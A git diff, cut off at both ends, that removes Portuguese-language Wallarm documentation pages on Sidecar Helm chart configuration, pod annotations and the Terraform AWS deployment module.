Pode ser: - -* `us1.api.wallarm.com` para a [nuvem dos EUA][us-cloud-docs] -* `api.wallarm.com` para a [nuvem da UE][eu-cloud-docs] (padrão) - -## config.wallarm.api.nodeGroup - -Especifica o nome do grupo de nós de filtragem ao qual você deseja adicionar os nós recém-implantados. O agrupamento de nós desta maneira está disponível apenas quando você cria e conecta nós à nuvem usando um token de API com a função **Deploy** (seu valor é passado no parâmetro `config.wallarm.api.token`). - -**Valor padrão**: `defaultSidecarGroup` - -[**Anotação do Pod**](pod-annotations.md): `sidecar.wallarm.io/wallarm-node-group`. - -## config.wallarm.api.existingSecret - -A partir da versão 4.4.4 do gráfico Helm, você pode usar este bloco de configuração para extrair um valor de token do nó Wallarm dos segredos Kubernetes. É útil para ambientes com gerenciamento de segredos separado (por exemplo, você usa um operador de segredos externo). - -Para armazenar o token do nó nos segredos K8s e puxá-lo para o gráfico Helm: - -1. Crie um segredo Kubernetes com o token do nó Wallarm: - - ```bash - kubectl -n wallarm-sidecar create secret generic wallarm-api-token --from-literal=token= - ``` - - * Se você seguiu as instruções de implantação sem modificações, `wallarm-sidecar` é o namespace Kubernetes criado para o lançamento Helm com o controlador Wallarm Sidecar. Substitua o nome se estiver usando um namespace diferente. - * `wallarm-api-token` é o nome do segredo Kubernetes. - * `` é o valor do token do nó Wallarm copiado da interface do usuário do Console Wallarm. - - Se estiver usando algum operador de segredos externo, siga a [documentação apropriada para criar um segredo](https://external-secrets.io). -1. Defina a seguinte configuração em `values.yaml`: - - ```yaml - config: - wallarm: - api: - token: "" - existingSecret: - enabled: true - secretKey: token - secretName: wallarm-api-token - ``` - -**Valor padrão**: `existingSecret.enabled: false` que aponta o gráfico Helm para obter o token do nó Wallarm de `config.wallarm.api.token`. - -## config.wallarm.fallback - -Com o valor definido como `on` (padrão), os serviços NGINX têm a capacidade de entrar em modo de emergência. Se o proton.db ou o conjunto de regras personalizado não puderem ser baixados da nuvem Wallarm devido à sua indisponibilidade, esta configuração desativa o módulo Wallarm e mantém o NGINX funcionando. - -[**Anotação do Pod**](pod-annotations.md): `sidecar.wallarm.io/wallarm-fallback`. - -## config.wallarm.mode - -Modo global de [filtração de tráfego][configure-wallarm-mode-docs]. Valores possíveis: - -* `monitoring` (padrão) -* `safe_blocking` -* `block` -* `off` - -[**Anotação do Pod**](pod-annotations.md): `sidecar.wallarm.io/wallarm-mode`. - -## config.wallarm.modeAllowOverride - -Gerencia a [capacidade de substituir os valores `wallarm_mode` por meio de configurações na nuvem][filtration-mode-priorities-docs]. Valores possíveis: - -* `on` (padrão) -* `off` -* `strict` - -[**Anotação do Pod**](pod-annotations.md): `sidecar.wallarm.io/wallarm-mode-allow-override`. - -## config.wallarm.enableLibDetection - -Se deve validar adicionalmente os ataques de injeção SQL usando a biblioteca [libdetection][libdetection-docs]. Valores possíveis: - -* `on` (padrão) -* `off` - -[**Anotação do Pod**](pod-annotations.md): `sidecar.wallarm.io/wallarm-enable-libdetection`. - -## config.wallarm.parseResponse - -Se deve analisar as respostas do aplicativo para ataques. Valores possíveis: - -* `on` (padrão) -* `off` - -A análise de resposta é necessária para a detecção de vulnerabilidades durante a [detecção passiva][passive-detection-docs] e a [verificação de ameaças ativas][active-threat-verification-docs]. - -[**Anotação do Pod**](pod-annotations.md): `sidecar.wallarm.io/wallarm-parse-response`. - -## config.wallarm.aclExportEnable - -Habilita `on` / desabilita `off` o envio de estatísticas sobre as solicitações dos IPs [negados][denylist-docs] do nó para a nuvem. - -* Com `config.wallarm.aclExportEnable: "on"` (padrão) as estatísticas sobre as solicitações dos IPs negados serão [exibidas][denylist-view-events-docs] na seção **Eventos**. -* Com `config.wallarm.aclExportEnable: "off"` as estatísticas sobre os pedidos dos IPs negados não serão exibidas. - -[**Anotação do Pod**](pod-annotations.md): `sidecar.wallarm.io/wallarm-acl-export-enable`. - -## config.wallarm.parseWebsocket - -Wallarm tem total suporte para WebSockets. Por padrão, as mensagens dos WebSockets não são analisadas para ataques. Para forçar o recurso, ative o plano de assinatura API Security [subscription plan][subscriptions-docs] e use esta configuração. - -Valores possíveis: - -* `on` -* `off` (padrão) - -[**Anotação do Pod**](pod-annotations.md): `sidecar.wallarm.io/wallarm-parse-websocket`. - -## config.wallarm.unpackResponse - -Se deve descomprimir dados comprimidos retornados na resposta do aplicativo: - -* `on` (padrão) -* `off` - -[**Anotação do Pod**](pod-annotations.md): `sidecar.wallarm.io/wallarm-unpack-response`. - -## postanalytics.external.enabled - -Determina se deve usar o módulo Wallarm postanalytics (Tarantool) instalado em um host externo ou aquele instalado durante o deploy da solução Sidecar. - -Este recurso é suportado a partir do lançamento do Helm 4.6.4. - -Valores possíveis: - -* `false` (padrão): usa o módulo de pós-análise implantado pela solução Sidecar. -* `true`: se ativado, forneça o endereço externo do módulo de pós-análise nos valores `postanalytics.external.host` e `postanalytics.external.port`. - - Se definido como `true`, a solução Sidecar não executa o módulo de pós-análise, mas espera alcançá-lo no `postanalytics.external.host` e `postanalytics.external.port` especificados. - -## postanalytics.external.host - -O domínio ou o endereço IP do módulo postanalytics instalado separadamente. Este campo é necessário se `postanalytics.external.enabled` estiver definido como `true`. - -Este recurso é suportado a partir do lançamento do Helm 4.6.4. - -Exemplos de valores: `tarantool.domain.external` ou `10.10.0.100`. - -O host especificado deve ser acessível a partir do cluster Kubernetes onde o gráfico Helm Sidecar é implantado. - -## postanalytics.external.port - -A porta TCP na qual o módulo Wallarm postanalytics está sendo executado. Por padrão, usa a porta 3313, pois a solução Sidecar implanta o módulo nesta porta. - -Se `postanalytics.external.enabled` estiver definido como `true`, especifique a porta em que o módulo está sendo executado no host externo especificado. \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/kubernetes/sidecar-proxy/pod-annotations.md b/docs/latest-pt-BR/installation/kubernetes/sidecar-proxy/pod-annotations.md deleted file mode 100644 index 4643c1d503..0000000000 --- a/docs/latest-pt-BR/installation/kubernetes/sidecar-proxy/pod-annotations.md +++ /dev/null @@ -1,93 +0,0 @@ -# Anotações do Pod Suportadas pelo Sidecar da Wallarm - -A [solução Sidecar da Wallarm](deployment.md) pode ser configurada via anotações em uma base per-pod. A lista de anotações suportadas nesta solução está descrita neste documento. - -!!! info "Prioridades das configurações globais e per-pod" - As anotações per-pod [têm precedência](customization.md#configuration-area) sobre os valores do gráfico Helm. - -## Lista de anotações - -| Anotação e valor de gráfico correspondente | Descrição | -|-------------------------------------|------------------------------------------------------------------| -| **Anotação:** `sidecar.wallarm.io/sidecar-injection-schema`

            `config.injectionStrategy.schema` | [Padrão de implantação do container Wallarm](customization.md#single-and-split-deployment-of-containers): `single` (padrão) ou `split`. | -| **Anotação:** `sidecar.wallarm.io/sidecar-injection-iptables-enable`

            `config.injectionStrategy.iptablesEnable` | [Se deseja iniciar o contêiner `iptables` init](customization.md#incoming-traffic-interception-port-forwarding): `true` (padrão) ou `false`. | -| **Anotação:** `sidecar.wallarm.io/wallarm-application`

            Sem valor de gráfico | [ID de aplicação da Wallarm][applications-docs]. | -| **Anotação:** `sidecar.wallarm.io/wallarm-block-page`

            Sem valor de gráfico | [Página de bloqueio e código de erro][custom-blocking-page-docs] para retornar a solicitações bloqueadas. | -| **Anotação:** `sidecar.wallarm.io/wallarm-enable-libdetection`

            `config.wallarm.enableLibDetection` | Se deseja validar adicionalmente os ataques de Injeção de SQL usando a biblioteca [libdetection][libdetection-docs]: `on` (padrão) ou `off`. | -| **Anotação:** `sidecar.wallarm.io/wallarm-fallback`

            `config.wallarm.fallback` | [Modo fallback da Wallarm][fallback-mode-docs]: `on` (padrão) ou `off`. | -| **Anotação:** `sidecar.wallarm.io/wallarm-mode`

            `config.wallarm.mode` | [Modo de filtragem de tráfego][wallarm-modes-docs]: `monitoring` (padrão), `safe_blocking`, `block` ou `off`. | -| **Anotação:** `sidecar.wallarm.io/wallarm-mode-allow-override`

            `config.wallarm.modeAllowOverride` | Gerencia a [capacidade de substituir os valores `wallarm_mode` por meio de configurações na Nuvem][filtration-mode-priorities-docs]: `on` (padrão), `off` ou `strict`. | -| **Anotação:** `sidecar.wallarm.io/wallarm-node-group`

            `config.wallarm.api.nodeGroup` | Especifica o nome do grupo de nós de filtragem que você deseja adicionar aos nós recém-implantados. Agrupamento de nós desta maneira está disponível somente quando você cria e conecta nós à Nuvem usando um token de API com a função **Deploy** (seu valor é passado no parâmetro `config.wallarm.api.token`).
            Este valor não surte efeito nos pods Tarantool, nós para eles são sempre vinculados ao grupo de nós especificado no valor do gráfico Helm `config.wallarm.api.nodeGroup`. | -| **Anotação:** `sidecar.wallarm.io/wallarm-parser-disable`

            Sem valor de gráfico | Permite desativar [os analisadores][parsers-docs]. Os valores da diretiva correspondem ao nome do analisador a ser desativado, por exemplo, `json`. Múltiplos analisador podem ser especificados, dividindo-os por ponto e vírgula, por exemplo, `json;base64`. | -| **Anotação:** `sidecar.wallarm.io/wallarm-parse-response`

            `config.wallarm.parseResponse` | Se deseja analisar as respostas do aplicativo para ataques: `on` (padrão) ou `off`. A análise da resposta é necessária para a detecção de vulnerabilidades durante a [detecção passiva][passive-detection-docs] e a [verificação de ameaça ativa][active-threat-verification-docs]. | -| **Anotação:** `sidecar.wallarm.io/wallarm-acl-export-enable`

            `config.wallarm.aclExportEnable` | Habilita `on` / desabilita `off` o envio de estatísticas sobre as solicitações de IPs na [lista de negação][denylist-docs] do nó para a Nuvem.
            • Com o valor `"on"` (padrão), as estatísticas sobre as solicitações dos IPs na lista de negação serão [exibidas][denylist-view-events-docs] na seção **Eventos**.
            • Com o valor `"off"`, as estatísticas sobre as solicitações dos IPs na lista de negação não serão exibidas.
            | -| **Anotação:** `sidecar.wallarm.io/wallarm-parse-websocket`

            `config.wallarm.parseWebsocket` | Wallarm tem suporte total para WebSockets. Por padrão, as mensagens de WebSockets não são analisadas quanto a ataques. Para forçar o recurso, ative o plano de assinatura de Segurança da API [subscription plan][subscriptions-docs] e use esta anotação: `on` ou `off` (padrão). | -| **Anotação:** `sidecar.wallarm.io/wallarm-unpack-response`

            `config.wallarm.unpackResponse` | Se deseja decomprimir dados comprimidos retornados na resposta do aplicativo: `on` (padrão) ou `off`. | -| **Anotação:** `sidecar.wallarm.io/wallarm-upstream-connect-attempts`

            `config.wallarm.upstream.connectAttempts` | Define o número de reconexões imediatas para Tarantool ou API Wallarm. | -| **Anotação:** `sidecar.wallarm.io/wallarm-upstream-reconnect-interval`

            `config.wallarm.upstream.reconnectInterval` | Define o intervalo entre tentativas de reconectar ao Tarantool ou Wallarm API depois que o número de tentativas sem sucesso excedeu o limite para o número de reconexões imediatas. | -| **Anotação:** `sidecar.wallarm.io/application-port`

            `config.nginx.applicationPort` | O contêiner Wallarm espera que as solicitações de entrada sejam direcionadas para esta porta, caso [não sejam encontradas portas de aplicativo de pod expostas](customization.md#application-container-port-auto-discovery). | -| **Anotação:** `sidecar.wallarm.io/nginx-listen-port`

            `config.nginx.listenPort` | Porta escutada pelo contêiner Wallarm. Esta porta está reservada para uso pela solução sidecar Wallarm, ela não pode ser a mesmo que a `application-port`. | -| **Anotação:** `sidecar.wallarm.io/nginx-http-include`

            Sem valor de gráfico | Matriz de caminhos para os arquivos de configuração NGINX que devem ser [incluídos no nível `http` da configuração NGINX](customization.md#using-custom-nginx-configuration). O arquivo deve ser montado no contêiner e este caminho deve apontar para o arquivo no contêiner. | -| **Anotação:** `sidecar.wallarm.io/nginx-http-snippet`

            Sem valor de gráfico | [Configuração adicional inline](customization.md#using-custom-nginx-configuration) que deve ser incluída no nível `http` da configuração NGINX. | -| **Anotação:** `sidecar.wallarm.io/nginx-server-include`

            Sem valor de gráfico | Matriz de caminhos para os arquivos de configuração NGINX que devem ser [incluídos no nível `server` da configuração NGINX](customization.md#using-custom-nginx-configuration). O arquivo deve ser montado no contêiner e este caminho deve apontar para o arquivo no contêiner. | -| **Anotação:** `sidecar.wallarm.io/nginx-server-snippet`

            Sem valor de gráfico | [Configuração adicional inline](customization.md#using-custom-nginx-configuration) que deve ser incluída no nível `server` da configuração NGINX. | -| **Anotação:** `sidecar.wallarm.io/nginx-location-include`

            Sem valor de gráfico | Matriz de caminhos para os arquivos de configuração NGINX que devem ser [incluídos no nível `location` da configuração NGINX](customization.md#using-custom-nginx-configuration). O arquivo deve ser montado no contêiner e este caminho deve apontar para o arquivo no contêiner. | -| **Anotação:** `sidecar.wallarm.io/nginx-location-snippet`

            Sem valor de gráfico | [Configuração adicional inline](customization.md#using-custom-nginx-configuration) que deve ser incluída no nível `location` da configuração NGINX. | -| **Anotação:** `sidecar.wallarm.io/nginx-extra-modules`

            Sem valor de gráfico | Matriz de [módulos NGINX adicionais](customization.md#enabling-additional-nginx-modules) que devem ser habilitados. | -| **Anotação:** `sidecar.wallarm.io/proxy-extra-volumes`

            Sem valor de gráfico | [Volumes personalizados](customization.md#include) a serem adicionados ao Pod (matriz). O valor da anotação deve ser envolvido em aspas simples `''`. | -| **Anotação:** `sidecar.wallarm.io/proxy-extra-volume-mounts`

            Sem valor de gráfico | [Montagens de volume personalizadas](customization.md#include) a serem adicionadas ao contêiner `sidecar-proxy` (objeto JSON). O valor da anotação deve ser envolvido em aspas simples `''`. | -| **Anotação:** `sidecar.wallarm.io/proxy-cpu`

            `config.sidecar.containers.proxy.resources.requests.cpu` | [CPU solicitada](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-proxy`. | -| **Anotação:** `sidecar.wallarm.io/proxy-memory`

            `config.sidecar.containers.proxy.resources.requests.memory` | [Memória solicitada](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-proxy`. | -| **Anotação:** `sidecar.wallarm.io/proxy-cpu-limit`

            `config.sidecar.containers.proxy.resources.limits.cpu` | [Limite de CPU](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-proxy`. | -| **Anotação:** `sidecar.wallarm.io/proxy-memory-limit`

            `config.sidecar.containers.proxy.resources.limits.memory` | [Limite de memória](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-proxy`. | -| **Anotação:** `sidecar.wallarm.io/helper-cpu`

            `config.sidecar.containers.helper.resources.requests.cpu` | [CPU solicitada](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-helper`. | -| **Anotação:** `sidecar.wallarm.io/helper-memory`

            `config.sidecar.containers.helper.resources.requests.memory` | [Memória solicitada](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-helper`. | -| **Anotação:** `sidecar.wallarm.io/helper-cpu-limit`

            `config.sidecar.containers.helper.resources.limits.cpu` | [Limite de CPU](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-helper`. | -| **Anotação:** `sidecar.wallarm.io/helper-memory-limit`

            `config.sidecar.containers.helper.resources.limits.memory` | [Limite de memória](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-helper`. | -| **Anotação:** `sidecar.wallarm.io/init-iptables-cpu`

            `config.sidecar.initContainers.iptables.resources.requests.cpu` | [CPU solicitada](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-init-iptables`. | -| **Anotação:** `sidecar.wallarm.io/init-iptables-memory`

            `config.sidecar.initContainers.iptables.resources.requests.memory` | [Memória solicitada](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-init-iptables`. | -| **Anotação:** `sidecar.wallarm.io/init-iptables-cpu-limit`

            `config.sidecar.initContainers.iptables.resources.limits.cpu` | [Limite de CPU](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-init-iptables`. | -| **Anotação:** `sidecar.wallarm.io/init-iptables-memory-limit`

            `config.sidecar.initContainers.iptables.resources.limits.memory` | [Limite de memória](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-init-iptables`. | -| **Anotação:** `sidecar.wallarm.io/init-helper-cpu`

            `config.sidecar.initContainers.helper.resources.requests.cpu` | [CPU solicitada](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-init-helper`. | -| **Anotação:** `sidecar.wallarm.io/init-helper-memory`

            `config.sidecar.initContainers.helper.resources.requests.memory` | [Memória solicitada](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-init-helper`. | -| **Anotação:** `sidecar.wallarm.io/init-helper-cpu-limit`

            `config.sidecar.initContainers.helper.resources.limits.cpu` | [Limite de CPU](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-init-helper`. | -| **Anotação:** `sidecar.wallarm.io/init-helper-memory-limit`

            `config.sidecar.initContainers.helper.resources.limits.memory` | [Limite de memória](customization.md#per-pod-basis-allocation-via-pods-annotations) para o contêiner `sidecar-init-helper`. | -| **Anotação:** `sidecar.wallarm.io/profile`

            Sem valor de gráfico | A anotação é usada para atribuir um perfil TLS específico a um pod da aplicação para [Encerramento de TLS/SSL](customization.md#ssltls-termination).

            Esta anotação e o encerramento de TLS/SSL são suportados a partir do gráfico Helm 4.6.1. | - -Existem mais [diretivas NGINX suportadas pela Wallarm][nginx-directives-docs] que não são abrangidas por anotações diretas. No entanto, você também pode configurá-las usando as anotações [`nginx-*-snippet` e `nginx-*-include`](customization.md#using-custom-nginx-configuration). - -## Como usar anotações - -Para aplicar uma anotação a um pod, especifique-a nas configurações do objeto `Deployment` da aplicação apropriada, por exemplo: - - -```bash -kubectl edit deployment -n -``` - -```yaml hl_lines="17" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/wallarm-mode: block - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/README.ja.md b/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/README.ja.md deleted file mode 100644 index 48eb950725..0000000000 --- a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/README.ja.md +++ /dev/null @@ -1,60 +0,0 @@ -# Módulo Terraform AWS Wallarm - -[Wallarm](https://www.wallarm.com/) é a plataforma de escolha das equipes Dev, Sec e Ops para a construção segura de APIs nativas na nuvem, monitorando as ameaças modernas e recebendo alertas quando ocorrem ameaças. Seja protegendo aplicativos existentes ou novas APIs nativas em nuvem, a Wallarm oferece os principais elementos necessários para proteger seu negócio das ameaças emergentes. - -Este repositório contém módulos para implantar o Wallarm na [AWS](https://aws.amazon.com/) usando o Terraform. - -![Esquema de proxy do Wallarm](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy.png?raw=true) - -Ao implementar os módulos Terraform da Wallarm, oferecemos uma solução que permite duas opções de implantação principais da Wallarm: proxy e espelho. As opções de implantação podem ser facilmente controladas pela variável `preset` do módulo Wallarm. Você pode experimentar ambas as opções, implantando os [exemplos fornecidos](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples) ou configurando o próprio módulo. - -## Requisitos - -* Terraform 1.0.5 ou superior [instalado localmente](https://learn.hashicorp.com/tutorials/terraform/install-cli) -* Acesso a uma conta com a função **administrador** no console Wallarm e que exista na [nuvem da UE](https://my.wallarm.com/) ou na [nuvem dos EUA](https://us1.my.wallarm.com/) -* Acesso a `https://api.wallarm.com` se estiver usando o Wallarm Cloud da UE, ou `https://us1.api.wallarm.com` se estiver usando o Wallarm Cloud dos EUA. Verifique se o acesso não é bloqueado por um firewall - -## Como usar este módulo? - -Este repositório possui a seguinte estrutura de diretórios: - -* [`modules`](https://github.com/wallarm/terraform-aws-wallarm/tree/main/modules): Esta pasta contém os submódulos necessários para implantar o módulo Wallarm. -* [`examples`](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples): Esta pasta contém exemplos de várias maneiras de usar os módulos na pasta `modules` para implantar o Wallarm. - -Para usar este repositório e implantar o Wallarm em um ambiente produção: - -1. Faça login no console Wallarm na [nuvem UE](https://my.wallarm.com/signup) ou na [nuvem EUA](https://us1.my.wallarm.com/signup). -1. Abra o console Wallarm e crie um nó do tipo **Nó Wallarm** em **Nós**. -1. Copie o token do nó gerado. -1. Adicione o código do módulo `wallarm` à sua configuração do Terraform como este: - - ```conf - module "wallarm" { - source = "wallarm/wallarm/aws" - - vpc_id = "..." - - preset = "proxy" - proxy_pass = "https://..." - - host = "api.wallarm.com" # or "us1.api.wallarm.com" - token = "..." - - instance_type = "..." - - ... - } - ``` -1. Especifique o token do nó que você copiou para a variável `token` e configure as outras variáveis necessárias. - -## Como este módulo é mantido? - -O módulo AWS da Wallarm é mantido pela [equipe da Wallarm](https://www.wallarm.com/). - -Se você tiver perguntas ou solicitações de recursos relacionados ao módulo AWS Wallarm, sinta-se à vontade para enviar um email para [support@wallarm.com](mailto:support@wallarm.com?Subject=Terraform%20Module%20Question). - -## Licença - -Este código é lançado sob a [licença MIT](https://github.com/wallarm/terraform-aws-wallarm/tree/main/LICENSE). - -Copyright © 2022 Wallarm, Inc. diff --git a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/README.md b/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/README.md deleted file mode 100644 index f420348499..0000000000 --- a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/README.md +++ /dev/null @@ -1,60 +0,0 @@ -# Módulo Terraform AWS Wallarm - -[Wallarm](https://www.wallarm.com/) é a plataforma escolhida pelas equipes de desenvolvimento, segurança e operações para criar APIs nativas de nuvem de forma segura, monitorá-las contra ameaças modernas e ser alertadas quando ameaças surgirem. Se você protege alguns dos aplicativos legados ou novas APIs nativas de nuvem, a Wallarm fornece componentes-chave para proteger seu negócio contra ameaças emergentes. - -Este repositório contém o módulo para implantar o Wallarm no [AWS](https://aws.amazon.com/) usando o Terraform. - -![Esquema do proxy Wallarm](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy.png?raw=true) - -Ao implementar o módulo Terraform da Wallarm, fornecemos a solução que permite duas opções principais de implantação da Wallarm: soluções de segurança de proxy e espelho. A opção de implantação é facilmente controlada pela variável de módulo `preset` da Wallarm. Você pode experimentar ambas as opções implantando [os exemplos fornecidos](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples) ou configurando o próprio módulo. - -## Requisitos - -* Terraform 1.0.5 ou superior [instalado localmente](https://learn.hashicorp.com/tutorials/terraform/install-cli) -* Acesso à conta com a função de **Administrador** no Console Wallarm na [Nuvem da UE](https://my.wallarm.com/) ou na [Nuvem dos EUA](https://us1.my.wallarm.com/) -* Acesso para `https://api.wallarm.com` se estiver trabalhando com a Nuvem Wallarm da UE ou para `https://us1.api.wallarm.com` se estiver trabalhando com a Nuvem Wallarm dos EUA. Certifique-se de que o acesso não esteja bloqueado por um firewall - -## Como usar este Módulo? - -Este repositório tem a seguinte estrutura de pastas: - -* [`módulos`](https://github.com/wallarm/terraform-aws-wallarm/tree/main/modules): Esta pasta contém submódulos necessários para implantar o módulo Wallarm. -* [`exemplos`](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples): Esta pasta mostra exemplos de diferentes maneiras de usar o módulo da pasta `módulos` para implantar a Wallarm. - -Para implantar o Wallarm para produção usando este repositório: - -1. Inscreva-se para o Console Wallarm na [Nuvem da UE](https://my.wallarm.com/signup) ou na [Nuvem dos EUA](https://us1.my.wallarm.com/signup). -1. Abra o Console Wallarm → **Nós** e crie o nó do tipo **Nó Wallarm**. -1. Copie o token de nó gerado. -1. Adicione o código do módulo `wallarm` à sua configuração Terraform: - - ```conf - module "wallarm" { - source = "wallarm/wallarm/aws" - - vpc_id = "..." - - preset = "proxy" - proxy_pass = "https://..." - - host = "api.wallarm.com" # ou "us1.api.wallarm.com" - token = "..." - - instance_type = "..." - - ... - } - ``` -1. Especifique o token do nó copiado na variável `token` e configure as outras variáveis necessárias. - -## Como este Módulo é mantido? - -O Módulo AWS Wallarm é mantido pelo [Time Wallarm](https://www.wallarm.com/). - -Se você tiver perguntas ou solicitações de recursos relacionadas ao Módulo AWS Wallarm, não hesite em enviar um email para [support@wallarm.com](mailto:support@wallarm.com?Subject=Terraform%20Module%20Question). - -## Licença - -Este código é liberado sob a [Licença MIT](https://github.com/wallarm/terraform-aws-wallarm/tree/main/LICENSE). - -Direitos autorais © 2022 Wallarm, Inc. \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/advanced/README.ja.md b/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/advanced/README.ja.md deleted file mode 100644 index 8de00e9983..0000000000 --- a/docs/latest-pt-BR/installation/load-balancing/terraform-module/terraform-aws-wallarm/examples/advanced/README.ja.md +++ /dev/null @@ -1,89 +0,0 @@ -# Exemplos de implantação do módulo Wallarm AWS Terraform: Solução avançada de proxy - -Este exemplo descreve como implantar o Wallarm como um proxy inline com configurações avançadas em um Virtual Private Cloud (VPC) da AWS existente usando o módulo Terraform. É semelhante ao [implantação de proxy simples](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/proxy), mas apresenta opções de configurações avançadas frequentemente usadas. - -Se você está tendo dificuldades para começar com este exemplo, recomendamos que você veja primeiro a [exemplo de proxy simples](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/proxy). - -A solução avançada de proxy da Wallarm (incluindo também a solução simples) fornece um camada adicional de rede com recursos de WAF e segurança de API como um roteador avançado de tráfego HTTP. - -## Características principais - -A solução de proxy avançada difere da solução simples das seguintes maneiras: - -* Esta solução não cria um balanceador de carga ( `lb_enabled=false` ), mas ainda assim cria um grupo de destino que pode ser anexado ao balanceador de carga existente. - - Isso permite que você mude facilmente para uma abordagem de processamento de tráfego síncrono. -* As configurações do NGINX e da Wallarm são específicadas não apenas em variáveis padrão, mas também nos snippets do NGINX `global_snippet` , `http_snippet` , `server_snippet`. -* Após o script de inicialização do nó Wallarm (cloud-init) ser concluído, um script personalizado `post-cloud-init.sh` coloca a página de índice HTML personalizada na instância do diretório `/var/www/mysite/index.html`. -* A pilha implantada está associada a políticas adicionais do AWS IAM que permitem acesso somente leitura ao AWS S3. - - Se você estiver usando este exemplo "como está", o acesso fornecido não será necessário. No entanto, o arquivo `post-cloud-init.sh` inclui um exemplo inativo de uma solicitação de arquivo do AWS S3, que geralmente requer acesso especial. Se você pretende ativar o código do S3 do arquivo `post-cloud-init.sh`, você precisará especificar a política de acesso ao S3 no AWS IAM dentro da variável `extra_policies`. -* Esta solução permite conexões de entrada para a instância Wallarm a partir da porta da rede interna adicional 7777. Isso é configurado pela variável `extra_ports` e pelo `http_snippet.conf`. - - Para permitir a porta 7777 para `0.0.0.0/0` , você também pode opcionalmente usar a variável `extra_public_ports` . -* Os nós da Wallarm processam o tráfego no modo de bloqueio. - -## Arquitetura da solução - -![Esquema do Proxy Wallarm](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy.png?raw=true) - -A solução avançada de proxy Wallarm do exemplo inclui os seguintes componentes: - -* Grupo de destino anexado ao grupo de Auto Scaling sem balanceador de carga. -* Instâncias de nó Wallarm que analisam o tráfego, bloqueiam solicitações maliciosas e fazem proxy de solicitações legítimas. - - Neste exemplo, executamos os nós Wallarm no modo de bloqueio, que impulsiona o comportamento descrito. Os nós Wallarm também podem operar em outros modos que visam apenas o monitoramento de tráfego, sem bloquear solicitações maliciosas. Consulte [nossa documentação](https://docs.wallarm.com/admin-en/configure-wallarm-mode/) para obter detalhes sobre os modos do nó Wallarm. -* Os nós Wallarm fazem proxy do tráfego para `https://httpbin.org`. - - Durante a execução deste exemplo, você pode especificar outros domínios e caminhos de serviço disponíveis a partir do VPC da AWS para serem usados como proxy de tráfego. - -Todos os componentes listados (com exceção do servidor proxy) são implantados pelo módulo de exemplo `wallarm` fornecido. - -## Componentes do código - -Este exemplo inclui os seguintes componentes de código: - -* `main.tf` : A configuração principal do módulo `wallarm` é implantada como uma solução avançada de proxy. -* `global_snippet.conf` : Um exemplo de configuração personalizada do NGINX que é adicionada à configuração global do NGINX usando a variável `global_snippet`. A configuração montada pode incluir diretivas como `load_module` , `stream` , `mail` , `env` , etc. -* `http_snippet.conf` : Uma configuração personalizada do NGINX que é adicionada ao contexto `http` do NGINX usando a variável `http_snippet`. A configuração montada pode incluir diretivas como `map` , `server` , etc. -* `server_snippet.conf` : Uma configuração personalizada do NGINX que é adicionada ao contexto `server` do NGINX usando a variável `server_snippet`. A configuração montada pode introduzir lógica `if` do NGINX e as configurações `location` necessárias. - - Esta configuração de snippet é aplicada apenas à porta 80. Para abrir outras portas, especifique a diretiva `server` correspondente em `http_snippet`. - - No arquivo `server_snippet.conf` , você também pode encontrar um exemplo de configuração mais complexo. -* `post-cloud-init.sh` : Um script personalizado que coloca a página de índice HTML personalizada na instância do diretório `/var/www/mysite/index.html`. Este script é executado após a inicialização do nó Wallarm (o script cloud-init). - - No arquivo `post-cloud-init.sh` , você também pode encontrar um exemplo de comando que coloca o conteúdo do AWS S3 no diretório da instância. Não se esqueça de especificar a política de acesso ao S3 dentro da variável `extra_policies` se você planeja usar esta opção. - -## Execução da solução de proxy Wallarm AWS - -1. Inscreva-se no Console Wallarm na [Nuvem da UE](https://my.wallarm.com/nodes) ou na [Nuvem dos EUA](https://us1.my.wallarm.com/nodes). -2. Abra Wallarm Console → **Nodes** e crie um nó do tipo **Wallarm Node**. -3. Copie o token do nó gerado. -4. Clone o repositório contendo o código do exemplo para o seu computador: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -5. Configure os valores das variáveis na opção `default` dentro do 